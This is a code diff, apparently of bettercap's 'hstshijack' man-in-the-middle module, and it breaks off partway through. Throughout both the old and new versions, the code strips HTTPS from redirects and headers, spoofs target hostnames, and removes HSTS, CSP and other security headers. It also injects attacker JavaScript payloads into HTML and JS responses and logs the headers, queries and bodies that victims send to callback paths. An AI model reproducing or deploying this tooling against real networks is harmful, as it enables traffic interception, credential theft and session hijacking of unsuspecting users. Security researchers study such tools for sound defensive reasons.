-			for (var i = 0; i < queries.length; i++) {
-				if ( queries[i].split("=").length == 2 ) {
-					params = queries[i].split("=")
-					logStr += "  " + on_grey + " " + reset + "    " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"
-				} else {
-					logStr += "  " + on_grey + " " + reset + "    " + green + queries[i] + reset + "\n"
-				}
-			}
-
-			logStr += "  " + on_grey + " " + reset + " \n  " + on_grey + " " + reset + "  " + bold + "Body" + reset + "\n  " + on_grey + " " + reset + " \n  " + on_grey + " " + reset + "    " + yellow + req.ReadBody() + reset + "\n"
-
-			console.log(logStr)
-
-			req.Scheme = "ignore"
-		}
-
-		// Whitelist callback
-		// Requests made for this path will print sniffed data.
-		// Requests made for this path will not be proxied.
-		// Requests made for this path will stop all attacks towards this client for the requested hostname.
-		if (req.Path == "/" + whitelist_path) {
-			log_info(on_blue + "hstshijack" + reset + " Silent, whitelisting callback received from " + green + req.Client.IP + reset + " for " + bold + req.Hostname + reset)
-
-			var logStr = "\n  " + on_white + " " + reset + " \n  " + on_white + " " + reset + "  [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + req.Scheme + "://" + req.Hostname + req.Path + (req.Query != "" ? ("?" + req.Query) : "") + "\n  " + on_white + " " + reset + " \n"
-
-			logStr += "  " + on_white + " " + reset + "  " + bold + "Headers" + reset + "\n  " + on_white + " " + reset + " \n"
-			headers = req.Headers.split("\n")
-			for (var i = 0; i < headers.length; i++) {
-				if ( headers[i].split(": ").length == 2 ) {
-					params = headers[i].split(": ")
-					logStr += "  " + on_white + " " + reset + "    " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"
-				} else {
-					logStr += "  " + on_white + " " + reset + "    " + yellow + headers[i] + reset + "\n"
-				}
-			}
-
-			logStr += "  " + on_white + " " + reset + "  " + bold + "Query" + reset + "\n  " + on_white + " " + reset + " \n"
-			queries = req.Query.split("&")
-			for (var i = 0; i < queries.length; i++) {
-				if ( queries[i].split("=").length == 2 ) {
-					params = queries[i].split("=")
-					logStr += "  " + on_white + " " + reset + "    " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n"
-				} else {
-					logStr += "  " + on_white + " " + reset + "    " + green + queries[i] + reset + "\n"
-				}
-			}
-
-			logStr += "  " + on_white + " " + reset + " \n  " + on_white + " " + reset + "  " + bold + "Body" + reset + "\n  " + on_white + " " + reset + " \n  " + on_white + " " + reset + "    " + yellow + req.ReadBody() + reset + "\n"
-
-			console.log(logStr)
-
-			req.Scheme = "ignore"
-			// Add requested hostname (spoofed and/or original) to whitelist
-			if (whitelist[req.Client.IP]) {
-				whitelisted_hosts = whitelist[req.Client.IP].split(",")
-				if ( whitelisted_hosts.indexOf(req.Hostname) == -1 ) {
-					whitelisted_hosts += "," + req.Hostname
-				}
-			} else {
-				whitelist[req.Client.IP] = req.Hostname
-			}
-			// Also add (wildcard) targets and replacements for requested hostname
-			for (var i = 0; i < target_hosts.length; i++) {
-				whole_target_selector = toWholeRegexpSet(target_hosts[i], "")[0]
-				whole_replacement_selector = toWholeRegexpSet(replacement_hosts[i], "")[0]
-				if ( req.Hostname.match(whole_target_selector) || req.Hostname.match(whole_replacement_selector) ) {
-					whitelist[req.Client.IP] += "," + replacement_hosts[i]
-					whitelist[req.Client.IP] += "," + target_hosts[i]
-					break
-				}
-			}
-		}
-
-	} else {
-
-	/* Attack or ignore request */
-
-		// Redirect client to the real host if a whitelist callback was received.
-		if (whitelist[req.Client.IP]) {
-			whitelisted_hosts = whitelist[req.Client.IP].split(",")
-			for (var a = 0; a < whitelisted_hosts.length; a++) {
-				whole_regexp_set = toWholeRegexpSet(whitelisted_hosts[a], "")
-				if ( req.Hostname.match(whole_regexp_set[0]) ) {
-					// Restore requested hostname if it was spoofed
-					var unspoofed_host
-					for (var b = 0; b < replacement_hosts.length; b++) {
-						whole_regexp_set = toWholeRegexpSet(replacement_hosts[b], target_hosts[b])
-						if ( req.Hostname.match(whole_regexp_set[0]) ) {
-							unspoofed_host = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1])
-							res.SetHeader( "Location", "https://" + unspoofed_host + req.Path + ( req.Query != "" ? ("?" + req.Query) : "" ) )
-							res.Status = 301
-							break
-						}
-					}
-					res.SetHeader("bettercap", "ignore")
-					ignored = true
-					log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.IP + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelist callback.")
-					break
-				}
-			}
-		}
-
-		if (!ignored) {
-
-		/* Patch Request */
-
-			// Patch spoofed hostnames.
-			for (var a = 0; a < target_hosts.length; a++) {
-
-				// Patch spoofed hostnames in headers.
-				regexp_set = toRegexpSet(replacement_hosts[a], target_hosts[a])
-				if ( req.Headers.match(regexp_set[0]) ) {
-					req.Headers = req.Headers.replace(regexp_set[0], regexp_set[1])
-					log_debug(on_blue + "hstshijack" + reset + " Patched spoofed hostname(s) in request header(s).")
-				}
-
-				// Patch spoofed hostname of request.
-				whole_regexp_set = toWholeRegexpSet(replacement_hosts[a], target_hosts[a])
-				if ( req.Hostname.match(whole_regexp_set[0]) ) {
-					spoofed_host = req.Hostname
-					req.Hostname = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1])
-					req.Scheme   = "https"
-					log_debug(on_blue + "hstshijack" + reset + " Patched spoofed hostname " + bold + spoofed_host + reset + " to " + bold + req.Hostname + reset + " and set scheme to HTTPS.")
-				}
-
-				if ( req.Headers.match(regexp_set[0]) || req.Hostname.match(whole_regexp_set[0]) ) {
-					break
-				}
-			}
-
-			// Patch SSL in headers if we know host uses SSL.
-			for (var a = 0; a < ssl_log.length; a++) {
-				regexp = new RegExp( "http://" + ssl_log[a].replace(/\./g, "\\.").replace(/\-/g, "\\-") + "([^a-z0-9\\-\\.]|$)", "ig" )
-				if ( req.Headers.match(regexp) ) {
-					req.Headers = req.Headers.replace(regexp, "https://" + ssl_log[a] + "$1")
-					log_debug(on_blue + "hstshijack" + reset + " Patched SSL of " + ssl_log[a] + " in request headers.")
-				}
-			}
-
-			// Patch scheme of request if host is found in SSL log.
-			if (req.Scheme != "https") {
-				if ( ssl_log.indexOf(req.Hostname) > -1 ) {
-					req.Scheme = "https"
-					log_debug(on_blue + "hstshijack" + reset + " Found " + bold + req.Hostname + reset + " in SSL log. Upgraded scheme to HTTPS.")
-				} else {
-					for (var i = 0; i < target_hosts; i++) {
-						whole_regexp_set = toWholeRegexpSet(target_hosts[i], "")
-						if ( req.Hostname.match(whole_regexp_set[0]) ) {
-							req.Scheme = "https"
-							log_debug(on_blue + "hstshijack" + reset + " Found " + bold + req.Hostname + reset + " in hstshijack.targets. Upgraded scheme to HTTPS.")
-							break
-						}
-					}
-				}
-			}
-
-		}
-
-	}
-
+  if (req.Path == ssl_index_path) {
+    /*
+      SSL callback.
+
+      Requests made for this path should include a hostname in the query so
+      this module can send a HEAD request to learn HTTPS redirects.
+    */
+    log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.IP + reset + " for " + bold + req.Query + reset + ".");
+    queried_host = req.Query;
+    if (getDomainIndex(queried_host, getIndexRange(queried_host.charAt(0))) == -1) {
+      log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ...");
+      req.Hostname = queried_host;
+      req.Path     = "/";
+      req.Query    = "";
+      req.Body     = "";
+      req.Method   = "HEAD";
+    }
+  } else if (req.Path == callback_path) {
+    /*
+      Basic callback.
+
+      Requests made for this path will be dropped.
+      Requests made for this path will be printed.
+    */
+    req.Scheme = "ignore";
+    logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.IP + reset + " for " + bold + req.Hostname + reset + "\n";
+    logStr += "  " + on_grey + " " + reset + " \n  " + on_grey + " " + reset + "  [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query != "" ? ("?" + req.Query) : "") + "\n  " + on_grey + " " + reset + " \n";
+    logStr += "  " + on_grey + " " + reset + "  " + bold + "Headers" + reset + "\n  " + on_grey + " " + reset + " \n";
+    headers = req.Headers.split("\r\n");
+    for (i = 0; i < headers.length; i++) {
+      if (headers[i].split(": ").length == 2) {
+        params = headers[i].split(": ");
+        logStr += "  " + on_grey + " " + reset + "    " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+      } else {
+        logStr += "  " + on_grey + " " + reset + "    " + yellow + headers[i] + reset + "\n";
+      }
+    }
+    logStr += "  " + on_grey + " " + reset + "  " + bold + "Query" + reset + "\n  " + on_grey + " " + reset + " \n";
+    queries = req.Query.split("&");
+    for (i = 0; i < queries.length; i++) {
+      if (queries[i].split("=").length == 2) {
+        params = queries[i].split("=");
+        logStr += "  " + on_grey + " " + reset + "    " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+      } else {
+        logStr += "  " + on_grey + " " + reset + "    " + green + queries[i] + reset + "\n";
+      }
+    }
+    logStr += "  " + on_grey + " " + reset + " \n  " + on_grey + " " + reset + "  " + bold + "Body" + reset + "\n  " + on_grey + " " + reset + " \n  " + on_grey + " " + reset + "    " + yellow + req.ReadBody() + reset + "\n";
+    log_info(logStr);
+  } else if (req.Path == whitelist_path) {
+    /*
+      Whitelisting callback.
+
+      Requests made for this path will be dropped.
+      Requests made for this path will be printed.
+      Requests made for this path will stop all attacks towards this client with the requested hostname.
+    */
+    req.Scheme = "ignore";
+    logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.IP + reset + " for " + bold + req.Hostname + reset + "\n";
+    logStr += "  " + on_white + " " + reset + " \n  " + on_white + " " + reset + "  [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query != "" ? ("?" + req.Query) : "") + "\n  " + on_white + " " + reset + " \n";
+    logStr += "  " + on_white + " " + reset + "  " + bold + "Headers" + reset + "\n  " + on_white + " " + reset + " \n";
+    headers = req.Headers.split("\n");
+    for (i = 0; i < headers.length; i++) {
+      if (headers[i].split(": ").length == 2) {
+        params = headers[i].split(": ");
+        logStr += "  " + on_white + " " + reset + "    " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+      } else {
+        logStr += "  " + on_white + " " + reset + "    " + yellow + headers[i] + reset + "\n";
+      }
+    }
+    logStr += "  " + on_white + " " + reset + "  " + bold + "Query" + reset + "\n  " + on_white + " " + reset + " \n";
+    queries = req.Query.split("&");
+    for (i = 0; i < queries.length; i++) {
+      if (queries[i].split("=").length == 2) {
+        params = queries[i].split("=");
+        logStr += "  " + on_white + " " + reset + "    " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+      } else {
+        logStr += "  " + on_white + " " + reset + "    " + green + queries[i] + reset + "\n";
+      }
+    }
+    logStr += "  " + on_white + " " + reset + " \n  " + on_white + " " + reset + "  " + bold + "Body" + reset + "\n  " + on_white + " " + reset + " \n  " + on_white + " " + reset + "    " + yellow + req.ReadBody() + reset + "\n";
+    log_info(logStr);
+
+    /* Add requested hostname to whitelist. */
+    if (whitelist[req.Client.IP]) {
+      if (whitelist[req.Client.IP].indexOf(req.Hostname) == -1) {
+        whitelist[req.Client.IP].push(req.Hostname);
+      }
+    } else {
+      whitelist[req.Client.IP] = [req.Hostname];
+    }
+    /* Also whitelist spoofed version of requested hostname. */
+    for (a = 0; a < target_hosts.length; a++) {
+      if (target_hosts[a].indexOf("*") == -1) {
+        selector_target = toWholeRegexpSet(target_hosts[a], "")[0];
+        selector_replacement = toWholeRegexpSet(replacement_hosts[a], "")[0];
+        if (
+             req.Hostname.match(selector_target)
+          || req.Hostname.match(selector_replacement)
+        ) {
+          if (whitelist[req.Client.IP].indexOf(target_hosts[a]) == -1) {
+            whitelist[req.Client.IP].push(target_hosts[a]);
+          }
+          if (whitelist[req.Client.IP].indexOf(replacement_hosts[a]) == -1) {
+            whitelist[req.Client.IP].push(replacement_hosts[a]);
+          }
+          break;
+        }
+      }
+    }
+  } else {
+    /*
+      Not a callback.
+
+      Redirect client to the real host if a whitelist callback was received previously.
+      Restore spoofed hostnames and schemes in request.
+    */
+    if (whitelist[req.Client.IP]) {
+      for (a = 0; a < whitelist[req.Client.IP].length; a++) {
+        whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.IP][a], "");
+        if (req.Hostname.match(whole_regexp_set[0])) {
+          /* Restore requested hostname if it was spoofed. */
+          var unspoofed_host;
+          for (b = 0; b < replacement_hosts.length; b++) {
+            whole_regexp_set = toWholeRegexpSet(replacement_hosts[b], target_hosts[b]);
+            if (req.Hostname.match(whole_regexp_set[0])) {
+              unspoofed_host = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1]);
+              query = (req.Query != "" ? ("?" + req.Query) : "");
+              res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query);
+              res.Status = 301;
+              log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.IP + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback.");
+              return;
+            }
+          }
+        }
+      }
+    }
+
+    /* Restore original hostnames. */
+    for (a = 0; a < target_hosts.length; a++) {
+      /* Restore original hostnames in headers. */
+      regexp_set = toRegexpSet(replacement_hosts[a], target_hosts[a]);
+      if (req.Headers.match(regexp_set[0])) {
+        req.Headers = req.Headers.replace(regexp_set[0], regexp_set[1]);
+        log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s).");
+      }
+
+      /* Restore original hostname of request. */
+      whole_regexp_set = toWholeRegexpSet(replacement_hosts[a], target_hosts[a])
+      if (req.Hostname.match(whole_regexp_set[0])) {
+        spoofed_host = req.Hostname;
+        req.Hostname = req.Hostname.replace(whole_regexp_set[0], whole_regexp_set[1]);
+        req.Scheme   = "https";
+        log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme.");
+      }
+    }
+
+    /* Restore HTTPS scheme. */
+    if (getDomainIndex(req.Hostname, getIndexRange(req.Hostname.charAt(0))) != -1) {
+      /* Restore HTTPS scheme of request if domain is indexed. */
+      if (req.Scheme != "https") {
+        req.Scheme = "https";
+        log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + ".");
+      }
+      /* Restore HTTPS scheme in request headers if domains are indexed. */
+      escaped_domain = req.Hostname.replace(/\./g, "\\.").replace(/\-/g, "\\-");
+      regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9\\-\\.]|$)", "ig");
+      if (req.Headers.match(regexp)) {
+        req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1");
+        log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+      }
+    } else { /* If requested domain is not indexed. */
+      log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed.");
+      if (req.Scheme != "https") {
+        for (b = 0; b < target_hosts; b++) {
+          /* Restore HTTPS scheme of request if domain is targeted. */
+          whole_regexp_set = toWholeRegexpSet(target_hosts[b], "");
+          if (req.Hostname.match(whole_regexp_set[0])) {
+            req.Scheme = "https";
+            log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + ".");
+            break;
+          }
+          /* Restore HTTPS scheme in request headers if domains are targeted. */
+          regexp_set = toRegexpSet(target_hosts[b], "");
+          matches = req.Headers.match(regexp);
+          for (c = 0; c < matches.length; c++) {
+            escaped_domain = matches[c].replace(/\./g, "\\.").replace(/\-/g, "\\-");
+            regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9\\-\\.]|$)", "ig");
+            req.Headers = req.Headers.replace(regexp, "https://" + matches[c] + "$1");
+            log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
+          }
+        }
+      }
+    }
+  }
 }
 
 function onResponse(req, res) {
-
-/* Remember HTTPS redirects */
-
-	// Write to SSL log.
-	// Check if host responded with HTTPS redirection.
-	location = res.GetHeader("Location", "")
-	if ( location.match(/^https:\/\//i) ) {
-		ssl_log = readFile( env["hstshijack.log"] ).split("\n")
-		host    = location.replace(/https:\/\//i, "").replace(/[:/?#].*/i, "")
-		if ( ssl_log.indexOf(host) == -1 ) {
-			ssl_log.push(host)
-			writeFile( env["hstshijack.log"], ssl_log.join("\n") )
-			log_debug(on_blue + "hstshijack" + reset + " Saved " + host + " to SSL log.")
-		}
-	}
-
-/* Attack or ignore response */
-
-	ignored = false
-
-	// Ignore this response if required.
-	if ( res.GetHeader("bettercap", "") == "ignore" ) {
-		res.RemoveHeader("bettercap")
-		ignored = true
-		log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + ".")
-	} else {
-		for (var a = 0; a < ignore_hosts.length; a++) {
-			var whole_regexp_set
-			if ( !ignore_hosts[a].match(/^\*$/) ) {
-				whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], "")
-			}
-			if ( ignore_hosts[a].match(/^\*$/) || req.Hostname.match(whole_regexp_set[0]) ) {
-				ignored = true
-
-				// Don't ignore response if there's a replacement for the requested host.
-				for (var b = 0; b < target_hosts.length; b++) {
-					whole_regexp_set = toWholeRegexpSet(target_hosts[b], "")
-					if ( req.Hostname.match(whole_regexp_set[0]) ) {
-						ignored = false
-						break
-					}
-				}
-
-				// Don't ignore response if there's a custom payload for the requested host.
-				if (ignored) {
-					for ( var b = 0; b < Object.keys(payloads).length; b++ ) {
-						payload_target_host = Object.keys(payloads)[b].replace(/\:.*/, "")
-						if ( !payload_target_host.match(/^\*$/) ) {
-							whole_regexp_set = toWholeRegexpSet(payload_target_host, "")
-						}
-						if ( payload_target_host.match(/^\*$/) || req.Hostname.match(whole_regexp_set[0]) ) {
-							ignored = false
-							break
-						}
-					}
-				}
-
-				if (ignored) {
-					log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + ".")
-				}
-
-				break
-			}
-		}
-	}
-
-	if (!ignored) {
-		res.ReadBody()
-
-	/* Attack meta tag redirection */
-
-		// SSLstrip meta tag redirection.
-		if ( res.Body.match(/<meta(.*?)http\-equiv=(\'|\")refresh(\'|\")/ig) ) {
-			meta_tags = res.Body.match(/<meta(.*?)http\-equiv=(\'|\")refresh(\'|\")(.*?)(\/\s*|)>/ig) || []
-			for (var a = 0; a < meta_tags.length; a++) {
-				log_debug(on_blue + "hstshijack" + reset + " Found " + meta_tags.length + " meta tag(s) in the response body.")
-
-				if ( meta_tags[a].match(/https:\/\//ig) ) {
-					replacement = meta_tags[a].replace(/https:\/\//ig, "http://")
-					res.Body.replace(meta_tags[a], replacement)
-					log_debug(on_blue + "hstshijack" + reset + " Stripped meta tag(s) from SSL.")
-				}
-
-				// Hijack hostnames in redirecting meta tags.
-				for (var b = 0; b < target_hosts.length; b++) {
-					regexp_set = toRegexpSet(target_hosts[b], replacement_hosts[b])
-					if ( meta_tags[a].match(regexp_set[0]) ) {
-						hijacked_meta_tag = meta_tags[a].replace(regexp_set[0], regexp_set[1])
-						res.Body = res.Body.replace(meta_tags[a], hijacked_meta_tag)
-						log_debug(on_blue + "hstshijack" + reset + " Hijacked meta tag by replacing " + bold + target_hosts[b] + reset + " with " + bold + replacement_hosts[b] + reset + ".")
-						break
-					}
-				}
-			}
-		}
-
-	/* Attack meta tag CSP restrictions */
-
-		res.Body = res.Body.replace(/http-equiv=('|")Content-Security-Policy('|")/ig, "http-equiv=$1Content-Insecure-Policy$2")
-
-	/* JavaScript */
-
-		// Block scripts on this host if required.
-		for (var i = 0; i < block_script_hosts.length; i++) {
-			var whole_regexp_set
-			if ( !block_script_hosts[i].match(/^\*$/) ) {
-				whole_regexp_set = toWholeRegexpSet(block_script_hosts[i], "")
-			}
-			if ( block_script_hosts[i].match(/^\*$/) || req.Hostname.match(whole_regexp_set[0]) ) {
-				res.Body = res.Body.replace(/<script.*?>/ig, "<div style=\"display:none;\">")
-				res.Body = res.Body.replace(/<\/script>/ig, "</div>")
-				if ( res.ContentType.match(/[a-z]+\/javascript/i) || req.Path.replace(/\?.*/i, "").match(/\.js$/i) ) {
-					res.Body = ""
-				}
-				log_debug(on_blue + "hstshijack" + reset + " Blocked script(s) from " + bold + req.Hostname + reset + ".")
-				break
-			}
-		}
-
-		// Inject payloads.
-		injection = payload
-		injecting = false
-
-		// Assemble payload.
-		for ( var a = 0; a < Object.keys(payloads).length; a++ ) {
-			host = Object.keys(payloads)[a]
-			if ( host.match(/^\*$/) || req.Hostname.match( toWholeRegexpSet(host, "")[0] ) ) {
-				injecting = true
-				injection = injection.replace("{{CUSTOM_PAYLOAD_TAG}}", payloads[host].payload.replace(/\$/g, "$$$$") + "\n{{CUSTOM_PAYLOAD_TAG}}")
-				log_debug(on_blue + "hstshijack" + reset + " Attempting to inject payload(s) into document from " + bold + req.Hostname + reset + ".")
-			}
-		}
-
-		if (injecting) {
-			injection = injection.replace("{{CUSTOM_PAYLOAD_TAG}}", "")
-			// Inject JavaScript documents.
-			if ( res.ContentType.match(/[a-z]+\/javascript/i) || req.Path.replace(/\?.*/i, "").match(/\.js$/i) ) {
-				res.Body = injection + res.Body
-				log_debug(on_blue + "hstshijack" + reset + " Injected payloads into JS file from " + bold + req.Hostname + reset + ".")
-			} else {
-				// Limit body scanning buffer.
-				res_inject_buffer = res.Body.substr(0, 1000)
-				res_injected_buffer = ""
-				// Inject HTML documents.
-				if (res_inject_buffer.length != 0) {
-					if ( res_inject_buffer.match(/<head(?: [^>]*?|)>/i) ) {
-						payload_marker = randomString(16)
-						res_injected_buffer = res_inject_buffer.replace(/<head( [^>]*?|)>/i, "<head$1><script src=\"data:application/javascript;base64," + payload_marker + "\"></script>")
-						res_injected_buffer = res_injected_buffer.replace( payload_marker, btoa(injection) )
-						res.Body = res_injected_buffer + res.Body.substr(1000)
-						log_debug(on_blue + "hstshijack" + reset + " Injected payloads into HTML file from " + bold + req.Hostname + reset + ".")
-					}
-				}
-			}
-		}
-
-	/* Response headers */
-
-		// SSLstrip location header.
-		location = res.GetHeader("Location", "")
-		if (location != "") {
-			stripped_location = location.replace(/(http)s:\/\//i, "$1://").replace(/:443($|[/?#])/, "$1")
-			res.SetHeader("Location", stripped_location)
-			log_debug(on_blue + "hstshijack" + reset + " Stripped SSL from location header.")
-		}
-
-		// Hijack hosts in headers.
-		for (var a = 0; a < target_hosts.length; a++) {
-			regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a])
-			if ( res.Headers.match(regexp_set[0]) ) {
-				res.Headers = res.Headers.replace(regexp_set[0], regexp_set[1])
-				log_debug(on_blue + "hstshijack" + reset + " Replaced " + bold + target_hosts[a] + reset + " with " + bold + replacement_hosts[a] + reset + " in header(s).")
-				break
-			}
-		}
-
-		// Remove security headers.
-		res.RemoveHeader("Strict-Transport-Security")
-		res.RemoveHeader("Content-Security-Policy-Report-Only")
-		res.RemoveHeader("Public-Key-Pins")
-		res.RemoveHeader("Public-Key-Pins-Report-Only")
-		res.RemoveHeader("X-Frame-Options")
-		res.RemoveHeader("X-Content-Type-Options")
-		res.RemoveHeader("X-Download-Options")
-		res.RemoveHeader("X-Permitted-Cross-Domain-Policies")
-		res.RemoveHeader("X-XSS-Protection")
-		res.RemoveHeader("Expect-Ct")
-
-		// Set insecure headers.
-		res.SetHeader("Content-Security-Policy", "default-src * data: 'unsafe-inline' 'unsafe-eval'; script-src * data: 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';")
-		res.SetHeader("X-WebKit-CSP", "default-src * data: 'unsafe-inline' 'unsafe-eval'; script-src * data: 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';")
-		res.SetHeader("X-Content-Security-Policy", "default-src * data: 'unsafe-inline' 'unsafe-eval'; script-src * data: 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';")
-		res.SetHeader("Access-Control-Allow-Origin", "*")
-		res.SetHeader("Access-Control-Allow-Methods", "*")
-		res.SetHeader("Access-Control-Allow-Headers", "*")
-		res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate")
-		res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT")
-		res.SetHeader("Pragma", "no-cache")
-
-	}
-
+  /* Remember HTTPS redirects. */
+  location = res.GetHeader("Location", "");
+  if (location.match(/^https:\/\//i)) {
+    host = location.replace(/https:\/\/([^:/?#]*).*/i, "$1");
+    if (host != "") {
+      indexDomain(host);
+    }
+  }
+
+  /* Ignore this response if whitelisted. */
+  if (whitelist[req.Client.IP]) {
+    if (whitelist[req.Client.IP].indexOf(req.Hostname) != -1) {
+      log_debug(on_blue + "hstshijack" + reset + " Ignoring response from " + bold + req.Hostname + reset + " for " + bold + req.Client.IP + reset + ".");
+      return;
+    }
+  } else {
+    for (a = 0; a < ignore_hosts.length; a++) {
+      var whole_regexp_set;
+      if (ignore_hosts[a] != "*") {
+        whole_regexp_set = toWholeRegexpSet(ignore_hosts[a], "");
+      }
+
+      if (
+           ignore_hosts[a] == "*"
+        || req.Hostname.match(whole_regexp_set[0])
+      ) {
+        ignored = true;
+
+        /* Don't ignore response if there's a replacement for the requested host. */
+        for (b = 0; b < target_hosts.length; b++) {
+          whole_regexp_set = toWholeRegexpSet(target_hosts[b], "");
+          if (req.Hostname.match(whole_regexp_set[0])) {
+            ignored = false;
+            break;
+          }
+        }
+
+        /* Don't ignore response if there's a custom payload for the requested host. */
+        if (ignored) {
+          for (b = 0; b < Object.keys(payloads).length; b++) {
+            payload_target_host = Object.keys(payloads)[b];
+            if (payload_target_host != "*") {
+              whole_regexp_set = toWholeRegexpSet(payload_target_host, "");
+            }
+            if (
+                 payload_target_host == "*"
+              || req.Hostname.match(whole_regexp_set[0])
+            ) {
+              ignored = false;
+              break;
+            }
+          }
+        }
+
+        if (ignored) {
+          log_debug(on_blue + "hstshijack" + reset + " Ignored response from " + bold + req.Hostname + reset + ".");
+          return;
+        }
+      }
+    }
+
+    /* Spoof markup bodies. */
+    if (
+         res.ContentType.match(/text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)|\S+[/]\S+[+]xml/i)
+      || req.Path.match(/[.](?:html|htm|xml|xhtml|xhtm|xht|hta)$/i)
+    ) {
+      res.ReadBody();
+
+      /* Prevent meta tag induced CSP restrictions. */
+      res.Body = res.Body.replace(
+        / http-equiv=['"]?Content-Security-Policy['"]?([ />])/ig,
+        "$1");
+
+      /* Block scripts. */
+      for (a = 0; a < block_script_hosts.length; a++) {
+        if (
+             block_script_hosts[a] === "*"
+          || req.Hostname.match(toWholeRegexpSet(block_script_hosts[a], "")[0])
+        ) {
+          res.Body = res.Body.replace(/<script(\s|>)/ig, "<div style=\"display:none;\"$1");
+          res.Body = res.Body.replace(/<\/script(\s|>)/ig, "</div$1");
+          log_debug(on_blue + "hstshijack" + reset + " Blocked inline script tags in a document from " + bold + req.Hostname + reset + ".");
+          break;
+        }
+      }
+
+      /* Inject payloads. */
+      injection = "";
+      for (a = 0; a < Object.keys(payloads).length; a++) {
+        injecting_host = Object.keys(payloads)[a];
+        if (
+             injecting_host == "*"
+          || req.Hostname.match(toWholeRegexpSet(injecting_host, "")[0])
+        ) {
+          injection = injection + payloads[injecting_host];
+        }
+      }
+      if (injection != "") {
+        res.Body = 
+          "<script>\n" +
+          payload_container_prefix + injection + payload_container_suffix +
+          "</script>\n" +
+          res.Body;
+        log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.IP + reset);
+      }
+    }
+
+    /* Spoof JavaScript bodies. */
+    if (
+         res.ContentType.match(/\S+[/]javascript/i)
+      || req.Path.match(/[.]js$/i)
+    ) {
+      res.ReadBody();
+
+      /* Block scripts. */
+      for (a = 0; a < block_script_hosts.length; a++) {
+        if (
+             block_script_hosts[a] === "*"
+          || req.Hostname.match(toWholeRegexpSet(block_script_hosts[a], "")[0])
+        ) {
+          res.Body = "";
+          log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + ".");
+          break;
+        }
+      }
+
+      /* Inject payloads. */
+      injection = "";
+      for (a = 0; a < Object.keys(payloads).length; a++) {
+        injecting_host = Object.keys(payloads)[a];
+        if (
+             injecting_host == "*"
+          || req.Hostname.match(toWholeRegexpSet(injecting_host, "")[0])
+        ) {
+          injection = injection + payloads[injecting_host];
+        }
+      }
+      if (injection != "") {
+        res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body;
+        log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.IP + reset);
+      }
+    }
+
+    /* Strip SSL from location headers. */
+    res.Headers = res.Headers
+      .replace(/(http)s:/ig, "$1:")
+      .replace(/:443($|[^0-9])/g, "$1");
+
+    /* Spoof hosts in headers. */
+    for (a = 0; a < target_hosts.length; a++) {
+      regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]);
+      res.Headers = res.Headers.replace(regexp_set[0], regexp_set[1]);
+    }
+
+    /* Remove security headers. */
+    res.RemoveHeader("Strict-Transport-Security");
+    res.RemoveHeader("Content-Security-Policy-Report-Only");
+    res.RemoveHeader("Public-Key-Pins");
